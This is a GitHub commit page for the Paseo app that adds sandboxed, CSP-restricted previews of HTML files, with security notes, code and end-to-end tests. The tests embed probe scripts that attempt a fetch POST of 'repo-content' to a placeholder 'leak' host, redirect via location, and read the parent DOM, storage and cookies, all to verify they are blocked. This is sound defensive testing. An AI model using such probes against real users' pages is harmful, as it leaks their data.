mirror of
https://github.com/getpaseo/paseo.git
synced 2026-09-14 20:36:44 +08:00
feat(app): preview HTML files in the file pane (#2712)
* feat(app): preview HTML files in the file pane Renders .html/.htm files as a page in the file pane, with the same Preview/Source toggle Markdown already has. The main use is reading richer visual plans an agent wrote as a self-contained HTML page. A preview is a viewer, not a browser. Each document is prefixed with a doctype and a strict policy, so the policy is always the first element and always lands in the parser-created head: inline script and style run, and remote subresources, fetch, XHR, WebSocket, beacon, and form posts are refused. The frame has an opaque origin, so it cannot reach the app's DOM and storage and cookie APIs throw inside it. One gap is left on web and cannot be closed there: a sandboxed document may navigate itself, and no CSP directive in current browsers prevents it -- navigate-to was dropped from CSP3 and is unenforced, and meta refresh needs no script (both verified against the Chromium the app ships against). The opaque origin bounds it to the page's own contents, and SECURITY.md documents it. Native narrows it further by refusing navigation after the initial document, with the caveat that the decision runs in app JS. Self-contained pages only -- a page that pulls a CDN script renders unstyled, and Source still shows everything. * fix(app): harden HTML preview behavior and tests --------- Co-authored-by: Nicholas Salgueiro <nicholas.salgueiro@britecore.com> Co-authored-by: Mohamed Boudra <boudra.moha@gmail.com>
This commit is contained in:
committed by
GitHub
parent
6d3d8068a4
commit
e35ad9f692
+12
@@ -66,6 +66,18 @@ CORS is not a complete security boundary. It controls which browser origins can
|
||||
|
||||
Paseo validates the `Host` header on every HTTP request and every WebSocket upgrade against an allowlist (Vite-style semantics). By default, only `localhost`, `*.localhost`, and any literal IP address (IPv4 or IPv6) are accepted. Additional hostnames can be configured via `hostnames` in `config.json` or the `PASEO_HOSTNAMES` env var (comma-separated; entries beginning with `.` match a domain and its subdomains; the value `true` disables the allowlist entirely). Requests with unrecognized hosts are rejected with `403 Host not allowed`.
|
||||
|
||||
## HTML file preview
|
||||
|
||||
Previewing an `.html` file in the file pane renders it as a page, so markup an agent wrote — or markup that arrived with a repo you cloned — executes when you open it. The preview is built to contain that, not to trust it.
|
||||
|
||||
The document loads with an opaque origin and a policy that permits inline script and style and refuses everything else: no remote script, font, image, or media; no `fetch`, XHR, WebSocket, or beacon; no form posts; no plugins; no nested frames. It has no access to Paseo's DOM, and storage and cookie APIs throw inside it rather than returning anything. It cannot navigate the top window, and it cannot open popups. It cannot read any file but itself.
|
||||
|
||||
One gap remains on web and desktop: a sandboxed document may navigate _itself_, and no CSP directive in current browsers prevents that. `navigate-to` was dropped from CSP Level 3 and is not enforced, and `<meta http-equiv="refresh">` needs no script at all. A hostile page can therefore reach a server by navigating away, carrying data available inside the preview, such as its own contents, browser and device properties, user input inside the page, and your IP address. It cannot read Paseo, another file, storage, or cookies.
|
||||
|
||||
Native builds narrow this gap rather than closing it outright. The WebView refuses every navigation after the initial document, but that decision is made in the app's JavaScript, and on Android the WebView falls back to allowing a navigation when the decision doesn't come back in time. Treat it as a strong mitigation, not a guarantee: if the JS thread is stalled at the moment a page navigates, the same leak is possible there too.
|
||||
|
||||
If you don't trust a page, read it in `Source`, which executes nothing. Source is available as an editable view on supported web hosts and a read-only view everywhere else.
|
||||
|
||||
## Agent authentication
|
||||
|
||||
Paseo wraps agent CLIs (Claude Code, Codex, OpenCode) but does not manage their authentication. Each agent provider handles its own credentials. Paseo never stores or transmits provider API keys. Agents run in your user context with your existing credentials.
|
||||
|
||||
@@ -13,6 +13,13 @@ const BLUE_PIXEL = Buffer.from(
|
||||
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=",
|
||||
"base64",
|
||||
);
|
||||
const BLOCKED_PREVIEW_URL = "https://html-preview.invalid/leak";
|
||||
|
||||
interface LinkedFile {
|
||||
target: string;
|
||||
fileName: string;
|
||||
content: string;
|
||||
}
|
||||
|
||||
function editor(page: Page) {
|
||||
return page.getByTestId("file-source-editor").filter({ visible: true }).locator(".cm-content");
|
||||
@@ -40,7 +47,31 @@ async function openWorkspaceFile(page: Page, filename: string): Promise<void> {
|
||||
await expectFileTabOpen(page, filename);
|
||||
}
|
||||
|
||||
async function seedAgentWithFileLink(target: string) {
|
||||
function htmlPreview(page: Page) {
|
||||
return {
|
||||
host: page.getByTestId("file-html-preview"),
|
||||
document: page.frameLocator('[data-testid="file-html-preview"]'),
|
||||
};
|
||||
}
|
||||
|
||||
async function selectFileView(page: Page, view: "Preview" | "Source"): Promise<void> {
|
||||
const option = page.getByTestId("file-panel-bar").getByRole("button", {
|
||||
name: view,
|
||||
exact: true,
|
||||
});
|
||||
await option.click();
|
||||
await expect(option).toHaveAttribute("aria-selected", "true");
|
||||
}
|
||||
|
||||
function watchRequestsTo(page: Page, origin: string): string[] {
|
||||
const requests: string[] = [];
|
||||
page.on("request", (request) => {
|
||||
if (request.url().startsWith(origin)) requests.push(request.url());
|
||||
});
|
||||
return requests;
|
||||
}
|
||||
|
||||
async function seedAgentWithFileLink(input: LinkedFile) {
|
||||
const session = await seedMockAgentWorkspace({
|
||||
repoPrefix: "file-editing-chat-link-",
|
||||
title: "Chat file link e2e",
|
||||
@@ -49,24 +80,25 @@ async function seedAgentWithFileLink(target: string) {
|
||||
"Return JSON only with fields 'title' and 'branch'.",
|
||||
"",
|
||||
"<user-prompt>",
|
||||
`Open \`${target}\` now`,
|
||||
`Open \`${input.target}\` now`,
|
||||
"</user-prompt>",
|
||||
].join("\n"),
|
||||
});
|
||||
await writeFile(
|
||||
path.join(session.cwd, "target.ts"),
|
||||
Array.from({ length: 80 }, (_, index) => `export const line${index + 1} = ${index + 1};`).join(
|
||||
"\n",
|
||||
),
|
||||
"utf8",
|
||||
);
|
||||
await writeFile(path.join(session.cwd, input.fileName), input.content, "utf8");
|
||||
return session;
|
||||
}
|
||||
|
||||
test.describe("CodeMirror workspace file editing", () => {
|
||||
test("opens an assistant file link at its referenced line", async ({ page }) => {
|
||||
const target = "target.ts:42";
|
||||
const session = await seedAgentWithFileLink(target);
|
||||
const session = await seedAgentWithFileLink({
|
||||
target,
|
||||
fileName: "target.ts",
|
||||
content: Array.from(
|
||||
{ length: 80 },
|
||||
(_, index) => `export const line${index + 1} = ${index + 1};`,
|
||||
).join("\n"),
|
||||
});
|
||||
|
||||
try {
|
||||
await openAgentRoute(page, session);
|
||||
@@ -105,7 +137,14 @@ test.describe("CodeMirror workspace file editing", () => {
|
||||
|
||||
test("clicking the editor focuses its pane beside an agent", async ({ page }) => {
|
||||
const target = "target.ts:42";
|
||||
const session = await seedAgentWithFileLink(target);
|
||||
const session = await seedAgentWithFileLink({
|
||||
target,
|
||||
fileName: "target.ts",
|
||||
content: Array.from(
|
||||
{ length: 80 },
|
||||
(_, index) => `export const line${index + 1} = ${index + 1};`,
|
||||
).join("\n"),
|
||||
});
|
||||
|
||||
try {
|
||||
await page.setViewportSize({ width: 1280, height: 900 });
|
||||
@@ -131,6 +170,31 @@ test.describe("CodeMirror workspace file editing", () => {
|
||||
}
|
||||
});
|
||||
|
||||
test("opens an HTML line target as source", async ({ page }) => {
|
||||
const target = "plan.html:2";
|
||||
const session = await seedAgentWithFileLink({
|
||||
target,
|
||||
fileName: "plan.html",
|
||||
content: [
|
||||
"<!doctype html>",
|
||||
"<h1>Review this source line</h1>",
|
||||
'<script>document.body.textContent = "This HTML executed";</script>',
|
||||
].join("\n"),
|
||||
});
|
||||
|
||||
try {
|
||||
await openAgentRoute(page, session);
|
||||
await page.getByText(target, { exact: true }).click();
|
||||
|
||||
await expectFileTabOpen(page, "plan.html");
|
||||
await expect(page.getByTestId("file-source-editor")).toBeVisible();
|
||||
await expect(page.getByLabel("Line 2, column 1")).toBeVisible();
|
||||
await expect(page.getByTestId("file-html-preview")).toHaveCount(0);
|
||||
} finally {
|
||||
await session.cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
test("shows the full file path and keeps editor controls stable", async ({
|
||||
page,
|
||||
withWorkspace,
|
||||
@@ -160,9 +224,9 @@ test.describe("CodeMirror workspace file editing", () => {
|
||||
relativePath,
|
||||
);
|
||||
await expect(page.getByTestId("file-panel-bar")).not.toContainText("visuals.md");
|
||||
const modeControl = page.getByTestId("file-markdown-mode");
|
||||
const modeControl = page.getByTestId("file-preview-mode");
|
||||
await expect(modeControl).toBeVisible();
|
||||
await page.getByTestId("file-mode-source").click();
|
||||
await selectFileView(page, "Source");
|
||||
|
||||
const editorHost = page.getByTestId("file-source-editor");
|
||||
const content = editor(page);
|
||||
@@ -224,7 +288,7 @@ test.describe("CodeMirror workspace file editing", () => {
|
||||
);
|
||||
await workspace.navigateTo();
|
||||
await openWorkspaceFile(page, "notes.md");
|
||||
await page.getByTestId("file-mode-source").click();
|
||||
await selectFileView(page, "Source");
|
||||
|
||||
const markdownScroller = page
|
||||
.getByTestId("file-source-editor")
|
||||
@@ -374,15 +438,15 @@ test.describe("CodeMirror workspace file editing", () => {
|
||||
await openWorkspaceFile(page, "notes.md");
|
||||
|
||||
await expect(page.getByText("First heading", { exact: true })).toBeVisible();
|
||||
await expect(page.getByTestId("file-markdown-mode")).toBeVisible();
|
||||
await expect(page.getByRole("button", { name: "Preview", exact: true })).toBeVisible();
|
||||
await writeFile(markdownPath, "# Updated heading\n", "utf8");
|
||||
await expect(page.getByText("Updated heading", { exact: true })).toBeVisible();
|
||||
|
||||
await page.getByTestId("file-mode-source").click();
|
||||
await selectFileView(page, "Source");
|
||||
await expect(page.getByTestId("file-source-editor")).toBeVisible();
|
||||
await replaceEditorText(page, "# Saved from source\n");
|
||||
await expect.poll(() => readFile(markdownPath, "utf8")).toBe("# Saved from source\n");
|
||||
await page.getByTestId("file-mode-preview").click();
|
||||
await selectFileView(page, "Preview");
|
||||
await expect(page.getByText("Saved from source", { exact: true })).toBeVisible();
|
||||
|
||||
await openWorkspaceFile(page, "pixel.png");
|
||||
@@ -393,6 +457,110 @@ test.describe("CodeMirror workspace file editing", () => {
|
||||
await expect.poll(() => image.getAttribute("src")).not.toBe(initialSource);
|
||||
});
|
||||
|
||||
test("previews and refreshes an HTML plan while preserving source access", async ({
|
||||
page,
|
||||
withWorkspace,
|
||||
}) => {
|
||||
test.setTimeout(90_000);
|
||||
const workspace = await withWorkspace({ prefix: "file-editing-html-preview-" });
|
||||
const htmlPath = path.join(workspace.repoPath, "plan.html");
|
||||
await writeFile(
|
||||
htmlPath,
|
||||
"<!doctype html><html><body><h1>Visual plan</h1></body></html>",
|
||||
"utf8",
|
||||
);
|
||||
await workspace.navigateTo();
|
||||
await openWorkspaceFile(page, "plan.html");
|
||||
|
||||
const preview = htmlPreview(page);
|
||||
await expect(preview.host).toBeVisible();
|
||||
await expect(preview.host).toHaveAttribute("sandbox", /allow-scripts/);
|
||||
await expect(preview.host).not.toHaveAttribute("sandbox", /allow-same-origin/);
|
||||
await expect(preview.document.getByRole("heading", { name: "Visual plan" })).toBeVisible();
|
||||
|
||||
await writeFile(
|
||||
htmlPath,
|
||||
"<!doctype html><html><body><h1>Updated plan</h1></body></html>",
|
||||
"utf8",
|
||||
);
|
||||
await expect(preview.document.getByRole("heading", { name: "Updated plan" })).toBeVisible();
|
||||
|
||||
await selectFileView(page, "Source");
|
||||
await expect(page.getByTestId("file-source-editor")).toBeVisible();
|
||||
await expect(preview.host).toHaveCount(0);
|
||||
await selectFileView(page, "Preview");
|
||||
await expect(preview.host).toBeVisible();
|
||||
});
|
||||
|
||||
test("runs inline scripts without allowing fetch egress", async ({ page, withWorkspace }) => {
|
||||
test.setTimeout(90_000);
|
||||
const workspace = await withWorkspace({ prefix: "file-editing-html-csp-" });
|
||||
await writeFile(
|
||||
path.join(workspace.repoPath, "probe.html"),
|
||||
`<!doctype html><html><head><title>probe</title></head><body>
|
||||
<h1 id="script-result">Inline script did not run</h1>
|
||||
<p id="network-result">Network request not attempted</p>
|
||||
<p id="document-mode">Standards mode not detected</p>
|
||||
<script>
|
||||
document.getElementById("script-result").textContent = "Inline script ran";
|
||||
if (document.compatMode === "CSS1Compat") {
|
||||
document.getElementById("document-mode").textContent = "Standards mode enabled";
|
||||
}
|
||||
var networkResult = document.getElementById("network-result");
|
||||
fetch("${BLOCKED_PREVIEW_URL}", { method: "POST", body: "repo-content" })
|
||||
.then(function () { networkResult.textContent = "Network request allowed"; })
|
||||
.catch(function () { networkResult.textContent = "Network request blocked"; });
|
||||
</script>
|
||||
</body></html>`,
|
||||
"utf8",
|
||||
);
|
||||
await workspace.navigateTo();
|
||||
|
||||
const blockedRequests = watchRequestsTo(page, BLOCKED_PREVIEW_URL);
|
||||
|
||||
await openWorkspaceFile(page, "probe.html");
|
||||
|
||||
const preview = htmlPreview(page);
|
||||
await expect(
|
||||
preview.document.getByRole("heading", { name: "Inline script ran" }),
|
||||
).toBeVisible();
|
||||
await expect(
|
||||
preview.document.getByText("Standards mode enabled", { exact: true }),
|
||||
).toBeVisible();
|
||||
await expect(
|
||||
preview.document.getByText("Network request blocked", { exact: true }),
|
||||
).toBeVisible();
|
||||
expect(blockedRequests).toEqual([]);
|
||||
});
|
||||
|
||||
test("isolates HTML plans from the app origin and storage", async ({ page, withWorkspace }) => {
|
||||
test.setTimeout(90_000);
|
||||
const workspace = await withWorkspace({ prefix: "file-editing-html-origin-" });
|
||||
await writeFile(
|
||||
path.join(workspace.repoPath, "origin.html"),
|
||||
`<!doctype html><html><body>
|
||||
<p id="parent">?</p><p id="storage">?</p><p id="cookie">?</p>
|
||||
<script>
|
||||
function report(id, label, probe) {
|
||||
try { probe(); document.getElementById(id).textContent = label + " reachable"; }
|
||||
catch (error) { document.getElementById(id).textContent = label + " blocked"; }
|
||||
}
|
||||
report("parent", "Parent DOM", function () { return parent.document.body; });
|
||||
report("storage", "Storage", function () { return localStorage.length; });
|
||||
report("cookie", "Cookies", function () { return document.cookie; });
|
||||
</script>
|
||||
</body></html>`,
|
||||
"utf8",
|
||||
);
|
||||
await workspace.navigateTo();
|
||||
await openWorkspaceFile(page, "origin.html");
|
||||
|
||||
const preview = htmlPreview(page);
|
||||
await expect(preview.document.getByText("Parent DOM blocked", { exact: true })).toBeVisible();
|
||||
await expect(preview.document.getByText("Storage blocked", { exact: true })).toBeVisible();
|
||||
await expect(preview.document.getByText("Cookies blocked", { exact: true })).toBeVisible();
|
||||
});
|
||||
|
||||
test("persists Vim keybindings and reports Vim mode with cursor position", async ({
|
||||
page,
|
||||
withWorkspace,
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { isRenderedMarkdownFile } from "@/components/file-pane-render-mode";
|
||||
import { filePreviewRenderKind, isRenderedMarkdownFile } from "@/components/file-pane-render-mode";
|
||||
|
||||
describe("isRenderedMarkdownFile", () => {
|
||||
it("detects .md files", () => {
|
||||
@@ -19,5 +19,22 @@ describe("isRenderedMarkdownFile", () => {
|
||||
it("does not treat other text files as rendered markdown", () => {
|
||||
expect(isRenderedMarkdownFile("src/index.ts")).toBe(false);
|
||||
expect(isRenderedMarkdownFile("README.md.txt")).toBe(false);
|
||||
expect(isRenderedMarkdownFile("plan.html")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("filePreviewRenderKind", () => {
|
||||
it("maps each renderable extension to its kind", () => {
|
||||
expect(filePreviewRenderKind("README.md")).toBe("markdown");
|
||||
expect(filePreviewRenderKind("notes.markdown")).toBe("markdown");
|
||||
expect(filePreviewRenderKind("plan.html")).toBe("html");
|
||||
expect(filePreviewRenderKind("docs/PLAN.HTML")).toBe("html");
|
||||
expect(filePreviewRenderKind("plan.htm")).toBe("html");
|
||||
});
|
||||
|
||||
it("returns null for files without a rendered preview", () => {
|
||||
expect(filePreviewRenderKind("src/index.ts")).toBe(null);
|
||||
expect(filePreviewRenderKind("page.mdx")).toBe(null);
|
||||
expect(filePreviewRenderKind("index.html.erb")).toBe(null);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,4 +1,17 @@
|
||||
export type FilePreviewRenderKind = "markdown" | "html";
|
||||
|
||||
export function isRenderedMarkdownFile(filePath: string): boolean {
|
||||
const normalizedPath = filePath.trim().toLowerCase();
|
||||
return normalizedPath.endsWith(".md") || normalizedPath.endsWith(".markdown");
|
||||
}
|
||||
|
||||
function isRenderedHtmlFile(filePath: string): boolean {
|
||||
const normalizedPath = filePath.trim().toLowerCase();
|
||||
return normalizedPath.endsWith(".html") || normalizedPath.endsWith(".htm");
|
||||
}
|
||||
|
||||
export function filePreviewRenderKind(filePath: string): FilePreviewRenderKind | null {
|
||||
if (isRenderedMarkdownFile(filePath)) return "markdown";
|
||||
if (isRenderedHtmlFile(filePath)) return "html";
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -30,7 +30,7 @@ export function FilePanelBar({
|
||||
conflict?: FileConflictAlertState;
|
||||
}) {
|
||||
const { t } = useTranslation();
|
||||
const markdownModes = [
|
||||
const previewModes = [
|
||||
{
|
||||
value: "preview" as const,
|
||||
label: t("panels.file.editor.preview"),
|
||||
@@ -102,8 +102,8 @@ export function FilePanelBar({
|
||||
size="xs"
|
||||
value={mode}
|
||||
onValueChange={onModeChange}
|
||||
testID="file-markdown-mode"
|
||||
options={markdownModes}
|
||||
testID="file-preview-mode"
|
||||
options={previewModes}
|
||||
/>
|
||||
) : null}
|
||||
</View>
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { withPreviewCsp } from "@/file-pane/html-preview-csp";
|
||||
|
||||
describe("withPreviewCsp", () => {
|
||||
it("places the policy before the complete source document", () => {
|
||||
const source =
|
||||
" <!-- untrusted --!><!doctype html \"'><script>location='https://example.com'</script>";
|
||||
const output = withPreviewCsp(source);
|
||||
|
||||
expect(output).toMatch(/^<!doctype html><meta http-equiv="Content-Security-Policy"/);
|
||||
expect(output.endsWith(source)).toBe(true);
|
||||
expect(output.indexOf("Content-Security-Policy")).toBeLessThan(output.indexOf("<script>"));
|
||||
});
|
||||
|
||||
it("keeps the original document intact", () => {
|
||||
const source = "<!doctype html><html><head></head><body><h1>Visual plan</h1></body></html>";
|
||||
|
||||
expect(withPreviewCsp(source)).toContain(source);
|
||||
});
|
||||
|
||||
it("drops a leading BOM before appending the source", () => {
|
||||
const output = withPreviewCsp("<!doctype html><h1>Plan</h1>");
|
||||
|
||||
expect(output.includes("")).toBe(false);
|
||||
expect(output).toContain("<!doctype html><h1>Plan</h1>");
|
||||
});
|
||||
|
||||
it("refuses remote resources while allowing inline scripts and styles", () => {
|
||||
const document = withPreviewCsp("<h1>Plan</h1>");
|
||||
|
||||
expect(document).toContain("default-src 'none'");
|
||||
expect(document).toContain("connect-src 'none'");
|
||||
expect(document).toContain("form-action 'none'");
|
||||
expect(document).toContain("base-uri 'none'");
|
||||
expect(document).toContain("frame-src 'none'");
|
||||
expect(document).toContain("object-src 'none'");
|
||||
expect(document).toContain("script-src 'unsafe-inline'");
|
||||
expect(document).toContain("style-src 'unsafe-inline'");
|
||||
expect(document).not.toMatch(/script-src[^;]*https:/);
|
||||
expect(document).not.toMatch(/img-src[^;]*https:/);
|
||||
expect(document).not.toMatch(/connect-src[^;]*https:/);
|
||||
});
|
||||
|
||||
it("handles pathological source without parsing it", () => {
|
||||
const source = `${"<!--".repeat(10_000)}${'"'.repeat(10_000)}<html></html>`;
|
||||
|
||||
expect(withPreviewCsp(source).endsWith(source)).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,55 @@
|
||||
// A preview renders a self-contained document and nothing else. Inline styles and
|
||||
// scripts run so a plan page keeps its layout and its diagrams; fetch, XHR,
|
||||
// WebSocket, beacon, remote script, remote font, remote image, and form posts are
|
||||
// all refused. Agent-written HTML is not trusted markup.
|
||||
//
|
||||
// What this does NOT stop: the document navigating itself. No CSP directive
|
||||
// available in current browsers prevents it — `navigate-to` was dropped from CSP3
|
||||
// and is unenforced, and `<meta http-equiv="refresh">` needs no script at all
|
||||
// (both verified against the Chromium this app ships against). So a hostile page
|
||||
// can still reach a server by navigating, carrying data available inside the
|
||||
// preview. The opaque origin is what bounds the damage: the frame has no storage,
|
||||
// no parent access, and no way to read any file but itself. Native narrows it
|
||||
// further in html-preview.tsx, because a WebView can refuse navigation outside CSP — see the
|
||||
// caveat there on why that is a mitigation rather than a guarantee.
|
||||
const POLICY = [
|
||||
"default-src 'none'",
|
||||
"script-src 'unsafe-inline' 'unsafe-eval' blob:",
|
||||
"style-src 'unsafe-inline'",
|
||||
"img-src data: blob:",
|
||||
"font-src data:",
|
||||
"media-src data: blob:",
|
||||
"connect-src 'none'",
|
||||
"form-action 'none'",
|
||||
"base-uri 'none'",
|
||||
"frame-src 'none'",
|
||||
"object-src 'none'",
|
||||
].join("; ");
|
||||
|
||||
const META = `<meta http-equiv="Content-Security-Policy" content="${POLICY}">`;
|
||||
|
||||
// The policy must reach the parser before any markup the document declares, and it
|
||||
// only counts if it lands in `<head>` — once the parser has moved on to `<body>`, a
|
||||
// meta http-equiv CSP is ignored outright.
|
||||
//
|
||||
// Locating the document's own doctype to insert after it means reimplementing the
|
||||
// tokenizer's initial insertion mode: its exact whitespace set (JS `\s` matches
|
||||
// characters HTML does not, and one stray NBSP is enough to push the policy into
|
||||
// the body where it stops applying), every comment ending including `--!>`, `<!-->`
|
||||
// and `<!--->`, bogus-comment tokens like `<?xml …?>` and `<![CDATA[…]]>`, and the
|
||||
// rule that a doctype closes at the first `>` in every state. Each of those rules
|
||||
// cost a bug before it was right.
|
||||
//
|
||||
// So the prologue isn't found, it's supplied: our doctype, then the policy, then
|
||||
// the file verbatim. The file's own doctype becomes a stray DOCTYPE token, which
|
||||
// the parser ignores wherever it appears. Standards mode is guaranteed, the policy
|
||||
// is always the first element and therefore always in the head, and no part of the
|
||||
// document has to be parsed to place it.
|
||||
const PROLOGUE = `<!doctype html>${META}`;
|
||||
|
||||
// Left where it is, a BOM would sit mid-document and render as a zero-width space.
|
||||
const BOM = "\uFEFF";
|
||||
|
||||
export function withPreviewCsp(html: string): string {
|
||||
return PROLOGUE + (html.startsWith(BOM) ? html.slice(BOM.length) : html);
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { htmlPreviewNavigationKind } from "@/file-pane/html-preview-navigation";
|
||||
|
||||
describe("htmlPreviewNavigationKind", () => {
|
||||
it("allows the WebView's initial document URLs", () => {
|
||||
expect(htmlPreviewNavigationKind("about:blank")).toBe("initialDocument");
|
||||
expect(htmlPreviewNavigationKind("about:srcdoc")).toBe("initialDocument");
|
||||
expect(htmlPreviewNavigationKind("")).toBe("initialDocument");
|
||||
});
|
||||
|
||||
it("allows same-document fragment navigation", () => {
|
||||
expect(htmlPreviewNavigationKind("about:blank#decision-table")).toBe("fragment");
|
||||
expect(htmlPreviewNavigationKind("about:srcdoc#decision-table")).toBe("fragment");
|
||||
});
|
||||
|
||||
it("blocks documents that could escape the injected policy", () => {
|
||||
expect(htmlPreviewNavigationKind("https://example.com/leak")).toBe("blocked");
|
||||
expect(
|
||||
htmlPreviewNavigationKind("data:text/html,<script>location='https://example.com'</script>"),
|
||||
).toBe("blocked");
|
||||
expect(htmlPreviewNavigationKind("blob:https://example.com/document-id")).toBe("blocked");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,9 @@
|
||||
export type HtmlPreviewNavigationKind = "initialDocument" | "fragment" | "blocked";
|
||||
|
||||
const INITIAL_DOCUMENT_URLS = new Set(["about:blank", "about:srcdoc", ""]);
|
||||
|
||||
export function htmlPreviewNavigationKind(url: string): HtmlPreviewNavigationKind {
|
||||
if (INITIAL_DOCUMENT_URLS.has(url)) return "initialDocument";
|
||||
if (url.startsWith("about:blank#") || url.startsWith("about:srcdoc#")) return "fragment";
|
||||
return "blocked";
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
import { useCallback, useMemo, useRef } from "react";
|
||||
import { StyleSheet } from "react-native-unistyles";
|
||||
import { WebView } from "react-native-webview";
|
||||
import { withPreviewCsp } from "./html-preview-csp";
|
||||
import { htmlPreviewNavigationKind } from "./html-preview-navigation";
|
||||
|
||||
// A preview is a viewer, not a browser. Only the document Paseo hands the WebView
|
||||
// loads; navigations the page attempts afterwards are refused, so a link, a
|
||||
// `location.href` assignment, or a meta refresh cannot pull a remote page into the
|
||||
// pane or leak the file through a URL. Storage and cache stay off so a page leaves
|
||||
// nothing behind between opens.
|
||||
//
|
||||
// This guard is not absolute, and SECURITY.md says so rather than implying
|
||||
// otherwise: the decision runs in app JS, and Android's WebView allows a
|
||||
// navigation whose decision doesn't return in time. A stalled JS thread is
|
||||
// therefore a window, which is why the CSP does the load-bearing work and this
|
||||
// guard narrows what's left.
|
||||
//
|
||||
// `originWhitelist: ["*"]` is what makes that guarantee hold. react-native-webview
|
||||
// checks the whitelist *before* calling onShouldStartLoadWithRequest and hands
|
||||
// anything that fails it to `Linking.openURL` — so a narrow whitelist would route
|
||||
// custom schemes straight to the system browser without this guard ever seeing
|
||||
// them. Matching everything forces every scheme through the callback below.
|
||||
const ORIGIN_WHITELIST = ["*"];
|
||||
|
||||
// Pinning the base URL is what makes the guard below sound. Android loads
|
||||
// `source={{ html }}` through `loadDataWithBaseURL`, and a programmatic load is not
|
||||
// reliably reported to onShouldStartLoadWithRequest — so the latch may still be
|
||||
// unset when the page makes its first move. Naming an inert base means the only
|
||||
// URLs that can pass as "initial" are inert ones. `data:text/html` must NOT be
|
||||
// allowed here: a page could navigate itself to a data document of its own, which
|
||||
// would arrive with no injected policy and a clean slate to egress from.
|
||||
const BASE_URL = "about:blank";
|
||||
|
||||
export function FileHtmlPreview({ html, testID }: { html: string; testID?: string }) {
|
||||
const document = useMemo(() => withPreviewCsp(html), [html]);
|
||||
const source = useMemo(() => ({ html: document, baseUrl: BASE_URL }), [document]);
|
||||
// Latched per document rather than once for the lifetime of the WebView: the
|
||||
// file pane re-renders with new content on every live-file refresh, and each of
|
||||
// those is a fresh initial load that has to be allowed through.
|
||||
const loadedDocumentRef = useRef<string | null>(null);
|
||||
const allowOnlyInitialDocument = useCallback(
|
||||
({ url }: { url: string }) => {
|
||||
const navigationKind = htmlPreviewNavigationKind(url);
|
||||
if (navigationKind === "fragment") return true;
|
||||
if (navigationKind === "blocked") return false;
|
||||
if (loadedDocumentRef.current === document) return false;
|
||||
loadedDocumentRef.current = document;
|
||||
return true;
|
||||
},
|
||||
[document],
|
||||
);
|
||||
|
||||
return (
|
||||
<WebView
|
||||
testID={testID}
|
||||
style={styles.webview}
|
||||
source={source}
|
||||
originWhitelist={ORIGIN_WHITELIST}
|
||||
onShouldStartLoadWithRequest={allowOnlyInitialDocument}
|
||||
setSupportMultipleWindows={false}
|
||||
javaScriptCanOpenWindowsAutomatically={false}
|
||||
domStorageEnabled={false}
|
||||
thirdPartyCookiesEnabled={false}
|
||||
cacheEnabled={false}
|
||||
incognito
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
const styles = StyleSheet.create(() => ({
|
||||
webview: {
|
||||
flex: 1,
|
||||
backgroundColor: "white",
|
||||
},
|
||||
}));
|
||||
@@ -0,0 +1,39 @@
|
||||
import { useMemo } from "react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { withPreviewCsp } from "./html-preview-csp";
|
||||
|
||||
// `allow-scripts` alone: the file gets an opaque origin, so a plan page can run
|
||||
// its own scripts (Excalidraw, charts) but cannot reach the Paseo app's DOM,
|
||||
// cookies, or storage, and cannot navigate the top window. Agent-written HTML is
|
||||
// not trusted markup. No popup tokens — a preview is a viewer, not a browser, and
|
||||
// escaping the sandbox to open one buys nothing for reading a local plan. The same
|
||||
// isolation means storage APIs throw inside the frame; pages that want to persist
|
||||
// state have to export.
|
||||
//
|
||||
// A sandboxed frame may still navigate *itself*, and nothing in CSP stops that
|
||||
// (see html-preview-csp.ts). That is the one hole left on web, it is bounded to
|
||||
// the page's own contents, and it is documented in SECURITY.md rather than papered
|
||||
// over with a directive browsers ignore.
|
||||
const SANDBOX = "allow-scripts";
|
||||
|
||||
const iframeStyle = {
|
||||
flex: 1,
|
||||
minHeight: 0,
|
||||
border: "none",
|
||||
backgroundColor: "white",
|
||||
} as const;
|
||||
|
||||
export function FileHtmlPreview({ html, testID }: { html: string; testID?: string }) {
|
||||
const { t } = useTranslation();
|
||||
const document = useMemo(() => withPreviewCsp(html), [html]);
|
||||
return (
|
||||
<iframe
|
||||
data-testid={testID}
|
||||
title={t("panels.file.editor.preview")}
|
||||
srcDoc={document}
|
||||
sandbox={SANDBOX}
|
||||
referrerPolicy="no-referrer"
|
||||
style={iframeStyle}
|
||||
/>
|
||||
);
|
||||
}
|
||||
@@ -20,7 +20,7 @@ import { syntaxTokenStyleFor } from "@/styles/syntax-token-styles";
|
||||
import { inlineUnistylesStyle } from "@/styles/unistyles-inline-style";
|
||||
import { lineNumberGutterWidth } from "@/components/code-insets";
|
||||
import { CODE_SURFACE_DATASET } from "@/styles/code-surface";
|
||||
import { isRenderedMarkdownFile } from "@/components/file-pane-render-mode";
|
||||
import { filePreviewRenderKind } from "@/components/file-pane-render-mode";
|
||||
import type { AttachmentMetadata } from "@/attachments/types";
|
||||
import { useAttachmentPreviewUrl } from "@/attachments/use-attachment-preview-url";
|
||||
import { persistAttachmentFromBytes } from "@/attachments/service";
|
||||
@@ -35,6 +35,7 @@ import { isWeb } from "@/constants/platform";
|
||||
import { useAppSettings } from "@/hooks/use-settings";
|
||||
import { useLiveFile } from "./live-file/hook";
|
||||
import { FilePanelBar } from "./bar";
|
||||
import { FileHtmlPreview } from "./html-preview";
|
||||
import { FileEditorModel, getFileConflictCallout, type FileConflictCallout } from "./editor/model";
|
||||
import { createFileObservationSource } from "./editor/observation-source";
|
||||
import { FileEditorView } from "./editor/view";
|
||||
@@ -58,6 +59,7 @@ interface CodeLineProps {
|
||||
|
||||
interface FilePreviewBodyProps {
